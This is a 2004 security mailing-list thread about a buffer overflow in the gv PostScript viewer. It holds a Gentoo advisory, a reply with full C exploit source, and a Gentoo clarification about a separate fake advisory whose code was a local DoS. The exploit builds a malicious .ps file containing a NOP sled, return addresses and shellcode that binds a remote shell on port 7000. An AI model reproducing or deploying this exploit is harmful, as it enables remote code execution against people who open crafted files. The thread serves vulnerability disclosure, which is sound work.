[ GLSA 200408-10 ] gv: Exploitable Buffer Overflow

[Sune Kloppenborg Jeppesen]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200408-10
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Severity: Normal
Title: gv: Exploitable Buffer Overflow
Date: August 12, 2004
Bugs: #59385
ID: 200408-10

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

gv contains an exploitable buffer overflow that allows an attacker to
execute arbitrary code.

Background
==========

gv is a PostScript and PDF viewer for X which provides a user interface
for the ghostscript interpreter.

Affected packages
=================

-------------------------------------------------------------------
Package / Vulnerable / Unaffected
-------------------------------------------------------------------
1 app-text/gv <= 3.5.8-r3 >= 3.5.8-r4

Description
===========

gv contains a buffer overflow vulnerability where an unsafe sscanf()
call is used to interpret PDF and PostScript files.

Impact
======

By enticing a user to view a malformed PDF or PostScript file an
attacker could execute arbitrary code with the permissions of the user
running gv.

Workaround
==========

There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version of gv.

Resolution
==========

All gv users should upgrade to the latest version:

# emerge sync

# emerge -pv ">=app-text/gv-3.5.8-r4"
# emerge ">=app-text/gv-3.5.8-r4"

References
==========

[ 1 ] CAN-2002-0838
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

http://security.gentoo.org/glsa/glsa-200408-10.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBG1VzzKC5hMHO6rkRAnvTAJ4qHGounyrnZD4LdkcYK+ edrKDlkgCeJgjz
VixGMT9TOgt24mDQyFJa018=
=FofW
-----END PGP SIGNATURE-----

[infamous41md@hotpop.com]

/*
* gv postscript viewer exploit , infamous42md AT hotpop DOT com
*
* run of the mill bof. spawns a remote shell on port 7000. woopty doo. if
* someone has been able to exploit the heap overflow in cfengine, please email
* me and teach me something. after days of pain i've concluded it's not
* possible b/c you can't manipulate the heap enough to get anything good in
* front of you. please prove me wrong so i can learn.
*
* shouts to mitakeet
*
* [n00b@localho.outernet] netstat -ant | grep 7000
* [n00b@localho.outernet] gcc -Wall -o gvown gvown.c
* [n00b@localho.outernet] ./gvown 0xbffff350
* [n00b@localho.outernet] ./gv h4x0ring_sacr3ts_uncuv3red.ps
* [n00b@localho.outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- "
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"


/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x 04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\x b0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\x cd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x 01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x 50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\x c9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x 73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x 80";


int main(int argc, char **argv)
{
int len, x, fd;
char buf[BS];
u_long retaddr;

if(argc < 2){
fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
return EXIT_FAILURE;
}
sscanf(argv[1], "%lx", &retaddr);

/* create 3vil buf */
memset(buf, NOP, BS);
strcpy(buf, PS_COMMENT);
len = strlen(buf);
for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
memcpy(buf+x+len, &retaddr, sizeof(retaddr));
len += x + NNOPS;
strcpy(buf+len, remote);
strcat(buf+len, "\n");
len += strlen(remote) + 1; /* + NULL */

/* create the 3vil file */
if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
die("open");

if(write(fd, buf, len) < 0)
die("write");

close(fd);

return 0;
}



On Thu, 12 Aug 2004 13:33:07 +0200
Sune Kloppenborg Jeppesen <jaervosz@gentoo.org> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> Gentoo Linux Security Advisory GLSA 200408-10
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> http://security.gentoo.org/
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>
> Severity: Normal
> Title: gv: Exploitable Buffer Overflow
> Date: August 12, 2004
> Bugs: #59385
> ID: 200408-10
>
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>
> Synopsis
> ========
>
> gv contains an exploitable buffer overflow that allows an attacker to
> execute arbitrary code.
>
> Background
> ==========
>
> gv is a PostScript and PDF viewer for X which provides a user interface
> for the ghostscript interpreter.
>
> Affected packages
> =================
>
> -------------------------------------------------------------------
> Package / Vulnerable / Unaffected
> -------------------------------------------------------------------
> 1 app-text/gv <= 3.5.8-r3 >= 3.5.8-r4
>
> Description
> ===========
>
> gv contains a buffer overflow vulnerability where an unsafe sscanf()
> call is used to interpret PDF and PostScript files.
>
> Impact
> ======
>
> By enticing a user to view a malformed PDF or PostScript file an
> attacker could execute arbitrary code with the permissions of the user
> running gv.
>
> Workaround
> ==========
>
> There is no known workaround at this time. All users are encouraged to
> upgrade to the latest available version of gv.
>
> Resolution
> ==========
>
> All gv users should upgrade to the latest version:
>
> # emerge sync
>
> # emerge -pv ">=app-text/gv-3.5.8-r4"
> # emerge ">=app-text/gv-3.5.8-r4"
>
> References
> ==========
>
> [ 1 ] CAN-2002-0838
> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838
>
> Availability
> ============
>
> This GLSA and any updates to it are available for viewing at
> the Gentoo Security Website:
>
> http://security.gentoo.org/glsa/glsa-200408-10.xml
>
> Concerns?
> =========
>
> Security is a primary focus of Gentoo Linux and ensuring the
> confidentiality and security of our users machines is of utmost
> importance to us. Any security concerns should be addressed to
> security@gentoo.org or alternatively, you may file a bug at
> http://bugs.gentoo.org.
>
> License
> =======
>
> Copyright 2004 Gentoo Foundation, Inc; referenced text
> belongs to its owner(s).
>
> The contents of this document are licensed under the
> Creative Commons - Attribution / Share Alike license.
>
> http://creativecommons.org/licenses/by-sa/1.0
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (GNU/Linux)
>
> iD8DBQFBG1VzzKC5hMHO6rkRAnvTAJ4qHGounyrnZD4LdkcYK+ edrKDlkgCeJgjz
> VixGMT9TOgt24mDQyFJa018=
> =FofW
> -----END PGP SIGNATURE-----


--
-sean

[Dan Margolis]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

There seems to be some confusion regarding our recent gv buffer overflow
GLSA. This GLSA came on the heels of the following fake advisory, which
also reported a buffer overflow in gv[1]. That advisory contained
alleged exploit code that, in fact, contained a local DoS exploit.

The gv vulnerability reported and patched in GLSA 200408-10 is not the
same as this fictitious vulnerability. The vulnerability patched is the
same referred to in the CVE reference[2] included in the GLSA, a real
two-year old vulnerability in gv.

Please do not run the alleged exploit code listed in the fictigious gv
advisory, as it is a local DoS exploit. However, all information
contained in the GLSA is correct, and all Gentoo users should still
upgrade their gv installations to the latest available version.

This e-mail is merely meant to clarify some confusion that may have
resulted from bad information in the relevant Gentoo bug[3] and comments
on various security mailing lists. The information contained within the
GLSA is still valid, and therefore no official errata will be issued.

For more information on Gentoo security policies, please see Gentoo's
Vulnerability Policy[4].

[1] http://www.osvdb.org/displayvuln.php?osvdb_id=8399
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838
[3] http://bugs.gentoo.org/show_bug.cgi?id=59385
[4] http://www.gentoo.org/security/en/vulnerability-policy.xml
- --
Dan Margolis ("KrispyKringle")
Gentoo Linux Security Coordinator
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iQEVAwUBQR5S9rDO2aFJ9pv2AQLl8wgAjoCOX80DmivzloyqB8 XkwxD5R2LPqFRN
+2YK5hlMTi9PJNN/cC78Pvdm4vwH/M1HQJOWf4A9BoC0ERegcqANi/AqHJgw5CPu
0ZF3IjNqGwmBM7TRcuQErwpXWFiiOTHaev/AfAnkTWjhJuVLTgVJFz/f91kObY3r
ys8OugVhvpNUAgL6Sw4EmOAm8KR4bDYqLhmEkGowIbwMU9oG0H wwrXM9iXWokmcz
A/xrvCAbYWh1UVvwxdz7x5t4idW6c5qMgf4Oou/KmvjLRV0kf2gzp0GB8sFmjvUS
h38Pg5Fx2se38RxaU8tJKmWv9ze7aknnzTx1avq/QAvdmwpNsV7vxw==
=xDpJ
-----END PGP SIGNATURE-----